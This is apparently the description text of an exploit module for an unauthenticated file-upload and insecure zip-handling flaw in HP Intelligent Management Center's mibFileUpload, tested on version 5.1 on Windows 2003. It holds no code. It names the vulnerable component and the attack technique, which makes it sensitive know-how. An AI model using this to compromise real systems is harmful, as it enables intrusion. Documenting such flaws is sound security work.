          This module exploits a code execution flaw in HP Intelligent Management Center.
        The vulnerability exists in the mibFileUpload which is accepting unauthenticated
        file uploads and handling zip contents in a insecure way. Combining both weaknesses
        a remote attacker can accomplish arbitrary file upload. This module has been tested
        successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.
